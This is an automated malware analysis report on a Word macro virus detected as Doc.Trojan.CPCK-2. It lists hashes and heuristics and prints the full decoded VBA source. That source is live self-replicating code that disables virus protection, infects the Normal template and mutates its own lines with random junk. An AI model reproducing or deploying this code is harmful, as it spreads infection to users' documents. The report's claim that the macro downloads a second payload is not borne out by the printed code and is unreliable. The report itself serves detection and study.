Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5c611064eeb7e9bb…

MALICIOUS

Office (OLE)

34.5 KB Created: 1999-05-09 23:51:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 10c84c36efb5da19a6883a9f36257161 SHA-1: cbb376bb360dbe22a48232d941484bed2ea1899d SHA-256: 5c611064eeb7e9bb86b3e9456c5d26abd794ebc5d89078a4b0414f18f2aa12c5
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains a high-severity heuristic firing for OLE_VBA_DOCOPEN, indicating the presence of a Document_Open macro. The VBA script is heavily obfuscated but its structure suggests it attempts to download and execute a secondary payload. The ClamAV detection of 'Doc.Trojan.CPCK-2' further confirms its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.CPCK-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.CPCK-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13604 bytes
SHA-256: 349c8933adafd2cc361ebd8642796be6b44709a85397fad485991e5f470ad239
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
K = BtIGf + VrGDw + OqJPs + NvEMy + T
On Error Resume Next
H = RrGUm + NqCMk + UhALf + JlLLp + I
Application.EnableCancelKey = 0
Q = BuVBr + IpDKu + NoDUl + LrCRp + N
CD99 = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
E = AvBCs + CzLOo + SyEOq + HwPUo + BjIKp + EsCMw + UxJGg + QtOFy + AsRGu + KuHAp + T
Options.SaveNormalPrompt = 0
R = QfHLy + NqVCf + NsDKv + VxAHn + UoISh + OkVHp + JkDJo + L
Options.VirusProtection = 0
C = LuNKl + TrGGw + LvMHg + KvPQm + RwREe + ByRIp + C
Options.ConfirmConversions = 0
J = BkLMv + KjQIg + QyNPz + I
OF70 = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
E = ViPJj + GsJUx + OsCEy + JeLKe + I
If Left(ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Sub" Then
O = GoDLe + MfOJk + BjPKw + EsRBo + QiHVi + T
Set TN90 = ActiveDocument.VBProject.VBComponents.Item(1)
P = JxURk + IzDDo + IxGOh + KvTIs + QvJFg + NrISn + UoHTu + FwHAj + StPIi + QqBJs + G
RM61 = True
E = DmVFf + CeNNg + MuSBq + QuIIo + FnEBg + ClTFf + SqKQh + IvHJw + NxEPo + V
End If
M = AqGQg + SwCAw + IvVTn + QwFAh + RiHJn + RnEEr + H
If Left(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Sub" Then
O = JnBMv + VfVSq + ReFDk + AsPCx + GrMGt + RtIIh + JkOIf + L
Set TN90 = NormalTemplate.VBProject.VBComponents.Item(1)
L = MjKTt + OgGIz + GeQMm + FoRSx + J
MQ69 = True
E = JkKIf + VmLNy + G
End If
L = DqMMi + ArBGm + N
If MQ69 = True Then
U = UjMJj + DyFQf + HkRAi + KvNTf + OzOVz + B
ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\driver.dll"
P = MiABn + GqLQq + HyIMj + MlRJi + P
TN90.CodeModule.AddFromFile ("c:\driver.dll")
C = EiBFf + SvEFf + FuPOi + QtSPg + EsMHv + MmDBm + SlJEp + VjIKn + OzOTs + J
TN90.CodeModule.deletelines 1, 4
G = HqQJk + LwGBe + GmGSs + RwGBp + JmAHx + HjNVh + MmETs + NmQPk + QuMLn + J
TN90.CodeModule.replaceline 1, "Sub Document_Close()"
S = VoMKz + IwODv + IxNPq + JsPEz + TzKQj + E
ElseIf RM61 = True Then
A = ThJKs + FiLLm + BkFBt + VsOHr + HvEJm + FkMNy + D
TN90.CodeModule.AddFromFile ("c:\driver.dll")
S = InGSg + LrAFw + OeGFg + CnNNk + C
TN90.CodeModule.deletelines 1, 4
I = SuOIh + JhEQg + EeVTo + OpDOm + SrBLy + J
End If
U = VzONo + AkGVt + IsHFm + PuMMe + F
With TN90.CodeModule
D = QrNKp + CeDMl + ClQRq + BpMBq + CwGVm + GqKBp + JfGDo + HoIFy + OrMTq + NrBCw + Q
For x = 2 To (TN90.CodeModule.CountOfLines - 1) Step 2
M = DzPSo + ReLBm + HtPIr + EgDIm + Q
For y = 1 To (Int(Rnd * 10) + 2)
T = HzRUt + EfEJs + HeMLx + A
LI15 = LI15 + (Chr(65 + Int(Rnd * 22))) & (Chr(122 - Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(122 - Int(Rnd * 22))) & " + "
Q = PuUKk + IuNMp + OjBDx + BnVEs + TpFSy + CeSSe + FlNVq + BgDFm + IoUMe + I
Next y
T = MqBAs + JrNDq + DeGBi + PuRTe + FpUUo + TnJSk + TwROf + SiRKj + MwGKg + I
.replaceline x, (Chr(65 + Int(Rnd * 22))) & " = " & LI15 & (Chr(65 + Int(Rnd * 22)))
B = LeJRt + BgMSi + QfBSu + GyTVu + LsEEx + NnSBv + NpGSt + VrRRm + HnOMy + SyDGq + JhBTu + R
LI15 = ""
U = ClFSv + EoNNx + I
Next x
B = AgKIf + FnARp + MrDQv + EsJQx + JhMQt + N
End With
T = PsNDg + IiDKz + QhGJo + AlVCi + AeVPk + DwVPg + CwFAs + F
LC41:
H = SySRv + CmBNp + UvGNu + GxAVj + JpKSq + PrIFu + BiSHq + VkKSs + DgLRm + V
End Sub

' Processing file: /opt/analyzer/scan_staging/1342d0a4381245ed8d7c08d2ac214e61.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 6625 bytes
' Line #0:
' 	FuncDefn (Sub Document_Open())
' Line #1:
' 	Ld BtIGf 
' 	Ld VrGDw 
' 	Add 
' 	Ld OqJPs 
' 	Add 
' 	Ld NvEMy 
' 	Add 
' 	Ld T 
' 	Add 
' 	St K 
' Line #2:
' 	OnError (Resume Next) 
' Line #3:
' 	Ld RrGUm 
' 	Ld NqCMk 
' 	Add 
' 	Ld UhALf 
' 	Add 
' 	Ld JlLLp 
' 	Add 
' 	Ld I 
' 	Add
... (truncated)